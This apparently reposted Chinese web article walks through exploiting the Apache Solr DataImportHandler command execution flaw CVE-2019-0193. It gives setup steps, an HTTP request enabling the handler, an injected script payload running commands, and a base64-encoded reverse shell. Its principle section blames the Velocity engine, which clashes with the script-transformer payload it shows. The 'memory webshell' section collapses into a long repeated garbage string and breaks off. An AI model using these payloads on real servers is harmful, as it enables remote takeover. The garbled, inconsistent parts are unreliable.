您好,登录后才能下订单哦!
# Apache Solr远程命令执行漏洞复现分析
## 漏洞背景
Apache Solr是一个基于Lucene构建的开源企业级搜索平台,广泛应用于各类需要全文检索功能的系统中。2019年10月,Apache Solr被曝出存在远程命令执行漏洞(CVE-2019-0193),攻击者可通过构造特定请求在目标服务器上执行任意命令。
## 漏洞原理
该漏洞源于Solr的DataImportHandler功能模块。当开启`dataImport`功能时,攻击者可以通过DIH配置中的`dataConfig`参数注入恶意脚本,利用Solr的Velocity模板引擎实现远程代码执行。
关键点:
1. DataImportHandler默认不启用但可通过API开启
2. Velocity模板引擎允许执行Java代码
3. 未对用户输入的`dataConfig`参数做充分过滤
## 环境搭建
### 实验环境要求
- 操作系统:Linux/Windows
- Java环境:JDK 1.8+
- 漏洞版本:Apache Solr 8.1.1(其他受影响版本:5.0.0-8.2.0)
### 安装步骤
```bash
# 下载漏洞版本Solr
wget https://archive.apache.org/dist/lucene/solr/8.1.1/solr-8.1.1.tgz
tar -xzf solr-8.1.1.tgz
cd solr-8.1.1
# 启动Solr(默认端口8983)
bin/solr start -e cloud -noprompt
# 创建名为vuln的核心
bin/solr create_core -c vuln
发送以下HTTP请求开启DIH功能:
POST /solr/vuln/config HTTP/1.1
Host: target:8983
Content-Type: application/json
{
"add-requesthandler": {
"name": "/dataimport",
"class": "org.apache.solr.handler.dataimport.DataImportHandler",
"defaults": {"config": null}
}
}
通过dataConfig
参数注入Velocity模板代码:
POST /solr/vuln/dataimport?_=1625555555555 HTTP/1.1
Host: target:8983
Content-Type: application/x-www-form-urlencoded
command=full-import&verbose=false&clean=false&commit=true&debug=true&core=vuln&name=dataimport&dataConfig=
<dataConfig>
<dataSource type="URLDataSource"/>
<script><![CDATA[
java.lang.Runtime.getRuntime().exec("touch /tmp/solr_rce_test");
]]></script>
<document>
<entity name="entity1"
url="https://example.com"
processor="XPathEntityProcessor"
forEach="/RDF/item"
transformer="script:">
</entity>
</document>
</dataConfig>
检查目标服务器是否创建了测试文件:
ls -la /tmp/solr_rce_test
修改dataConfig
中的命令为反弹Shell(需URL编码):
<![CDATA[
java.lang.Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAvOTk5OSAwPiYx}|{base64,-d}|{bash,-i}");
]]>
通过Java反射机制注入内存Webshell: “`java <![CDATA[ java.lang.Class.forName(“javax.script.ScriptEngineManager”) .newInstance() .getEngineByName(“JavaScript”) .eval(“new java.lang.ProcessBuilder[‘(java.lang.String[])’]([‘/bin/bash’,‘-c’,‘echo PDw8PDw+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+
免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。